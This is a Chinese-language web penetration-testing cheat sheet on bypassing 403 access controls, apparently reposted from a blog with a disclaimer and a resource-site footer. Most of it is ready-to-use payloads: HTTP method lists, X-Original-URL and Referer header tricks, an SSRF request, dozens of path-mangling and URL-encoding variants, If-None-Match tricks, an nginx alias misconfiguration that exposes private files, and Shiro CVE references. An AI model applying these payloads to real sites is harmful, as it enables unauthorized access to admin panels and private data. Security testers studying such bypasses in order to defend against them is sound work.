绕过访问

免责声明

本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.

相关文章

相关案例

相关工具

相关资源

Tips

  • protocol based bypass

    http://web.com/admin    # ===> 403
https://web.com/admin   # ===> 200

  • method based bypass

    OPTIONS
GET
HEAD
POST
PUT
DELETE
TRACE
TRACK
CONNECT
PROPFIND
PROPPATCH
MKCOL
COPY
MOVE
LOCK
UNLOCK
VERSION-CONTROL
REPORT
CHECKOUT
CHECKIN
UNCHECKOUT
MKWORKSPACE
UPDATE
LABEL
MERGE
BASELINE-CONTROL
MKACTIVITY
ORDERPATCH
ACL
PATCH
SEARCH
ARBITRARY

  • HTTP Header based bypass

    GET /admin HTTP/1.1
Host: web.com   # ===> 403

GET /anything HTTP/1.1
Host: web.com
X-Original-URL: /admin  # ===> 200

GET /anything HTTP/1.1
Host: web.com
Referer: https://web.com/admin  # ===> 200

GET https://qq.com HTTP/1.1
Host: web.com   # ===> SSRF

  • url character/parameter bypass

    /admin/panel            # ===> 403
/admin/monitor          # ===> 200

/admin/monitor/;panel   # ===> 302

    web.com/admin           # ===> 403

web.com/ADMIN           # ===> 200
web.com/admin/          # ===> 200
web.com//admin/         # ===> 200
web.com/admin;          # ===> 200
web.com/admin/.         # ===> 200
web.com/admin/../admin  # ===> 200
web.com/admin../admin   # ===> 200
web.com/../admin        # ===> 200
web.com//admin//        # ===> 200
web.com/./admin/./      # ===> 200
web.com/./admin/..      # ===> 200
web.com/;/admin         # ===> 200
web.com/.;/admin        # ===> 200
web.com//;//admin       # ===> 200
web.com/admin.json      # ===> 200(ruby)

web.com/%2f/admin/      # ===> 200
web.com/%2e/admin       # ===> 200
web.com/%252e/admin     # ===> 200
web.com/%ef%bc%8fadmin  # ===> 200

web.com/admin           # ===> 302
web.com/test/admin      # ===> 200
web.com/admin..;/       # ===> 200

  • 304 bypass

    GET /admin HTTP/1.1
Host: target.com
If-None-Match: W/"123-dASdsa2d2212e4d21"

GET /admin HTTP/1.1
Host: target.com

    If-None-Match: W/"123-dASdsa2d2212e4d21"

If-None-Match: W/"null"
If-None-Match: W/"123-dASdsa2d2212e4d21" a

nginx

相关文章

root /var/www/html/public;

location /test/ {
    alias /var/www/html/public/;
}

✔  /test/public.html
❌  /test../private/secret.html

root /var/www/html/public;

location /test {
    alias /var/www/html/public/;
}

✔  /test/public.html
✔  /test../private/secret.html

Tomcat

相关文章

shiro

SHIRO-682 & CVE-2020-1957 | Shiro 权限绕过漏洞

SHIRO-782 & CVE-2020-11989

CVE-2020-17523

点击关注，共同学习！
安全狗的自我修养

github haidragon

https://github.com/haidragon

原文地址：http://www.cnblogs.com/haidragon/p/16851171.html

1. 本站所有资源来源于用户上传和网络，如有侵权请邮件联系站长！ 2. 分享目的仅供大家学习和交流，请务用于商业用途! 3. 如果你也有好源码或者教程，可以到用户中心发布，分享有积分奖励和额外收入！ 4. 本站提供的源码、模板、插件等等其他资源，都不包含技术服务请大家谅解！ 5. 如有链接无法下载、失效或广告，请联系管理员处理！ 6. 本站资源售价只是赞助，收取费用仅维持本站的日常运营所需！ 7. 如遇到加密压缩包，默认解压密码为"gltf",如遇到无法解压的请联系管理员！ 8. 因为资源和程序源码均为可复制品，所以不支持任何理由的退款兑现，请斟酌后支付下载 声明：如果标题没有注明"已测试"或者"测试可用"等字样的资源源码均未经过站长测试.特别注意没有标注的源码不保证任何可用性